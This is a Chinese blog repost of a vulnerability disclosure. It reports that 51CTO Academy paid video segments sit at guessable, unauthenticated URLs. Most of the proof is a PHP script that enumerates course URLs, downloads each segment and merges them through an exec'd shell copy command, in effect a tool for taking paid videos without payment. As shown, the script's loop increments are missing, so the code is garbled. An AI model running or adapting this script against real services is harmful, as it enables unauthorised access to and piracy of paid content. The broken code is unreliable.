zoukankan      html  css  js  c++  java
  • 今天离辞职还有两天,发一个不咋滴的消息给大家看看

     

    本文出处来自:“白帽子猪猪侠”

    简要描述:

    最近无意间发现51CTO推出了51cto学院视频。感觉挺不错的,所以就去看看。发现视频的规则和权限设置不当,或可被爆破,无需付金币

    详细说明:

    最近无意间发现51CTO推出了51cto学院视频。感觉挺不错的,所以就去看看。发现视频的规则和权限设置不当,或可被爆破,无需付金币

    漏洞证明:

    简单的看了几个视频对应的URL地址,发现了一些规律性的东西,比如说下面的地址

    http://v1.51cto.com/2014/07/25/33923/general/loco_video_203000_2.ts

    首先确认了,不需要登录就可以下载了。所以说明没有做任何权限判断和过滤,至于ts应该是视频的一个个片段。2014/07/25这个一看就是发布这个课 程的时间。33923就是课程的ID。然后后面就有点雷同了。203000,经过研究发现,大部分情况,后面三个都是0.前面是一个三位数,代表什么意思 不知道。但是好像都不会超过400.后面的_2.ts代表的是视频的片段2.



    经过这样的分析,如果我们手动尝试爆破,肯定就很费事。于是写了一个php脚本测试。还真可以获取成功。说明一种爆破的可能性,代码如下,仅供学习参考

    code 区域
    <?php
    //lesson id
    $id = '31465';
    //lesson publish year
    $year = '2014';
    //lesson publish month
    $month = '07';
    //lesson publish day
    $day = '14';

    if (is_dir('tmp'))
    rrmdir('tmp');

    $split_cmd = '';

    for ($j = 100; $j < 4000; $j )
    {
    $url = 'http://v1.51cto.com/'.$year.'/'.$month.'/'.$day.'/'.$id.'/general/loco_video_'.$j.'000_0.ts';
    $arr = get_headers($url);
    echo 'test url: ',$url,PHP_EOL;

    if ($arr[0] != 'HTTP/1.0 200 OK')
    continue;

    echo 'have fun, we find video',PHP_EOL;
    sleep(3);

    for ($i = 0; $i < 1000; $i )
    {
    $url = 'http://v1.51cto.com/'.$year.'/'.$month.'/'.$day.'/'.$id.'/general/loco_video_'.$j.'000_'.$i.'.ts';
    $arr = get_headers($url);

    if ($arr[0] == 'HTTP/1.0 200 OK')
    {
    echo $url,PHP_EOL;
    if (!is_dir('tmp'))
    mkdir('tmp');
    file_put_contents('tmp/'.$i.'.ts', file_get_contents($url));
    $split_cmd .= $i.'.ts ';
    }
    else
    {
    echo 'all video split download finish, see result.ts',PHP_EOL;
    break 2;
    }
    }
    }
    if (!is_dir('tmp'))
    echo 'sorry, video not find';
    else
    {
    $cmd = 'cd tmp && copy /b '.substr($split_cmd, 0, -1).' result.ts';
    echo 'execute command: ',$cmd,PHP_EOL;
    exec($cmd);
    }


    function rrmdir($dir) {
    foreach(glob($dir . '/*') as $file) {
    if(is_dir($file))
    rrmdir($file);
    else
    unlink($file);
    }
    rmdir($dir);
    }



    测试结果

     

  • 相关阅读:
    codeforces 1198B
    POJ 3177 Redundant Paths (tarjan边双连通分量)
    Geotrellis系列文章链接
    geotrellis使用(十一)实现空间数据库栅格化以及根据属性字段进行赋值
    geotrellis使用(十)缓冲区分析以及多种类型要素栅格化
    geotrellis使用(九)使用geotrellis进行栅格渲染
    geotrellis使用(八)矢量数据栅格化
    geotrellis使用(七)记录一次惨痛的bug调试经历以及求DEM坡度实践
    Parallel并行化编程
    geotrellis使用(六)Scala并发(并行)编程
  • 原文地址:https://www.cnblogs.com/xiaohukuaipao/p/5305614.html
Copyright © 2011-2022 走看看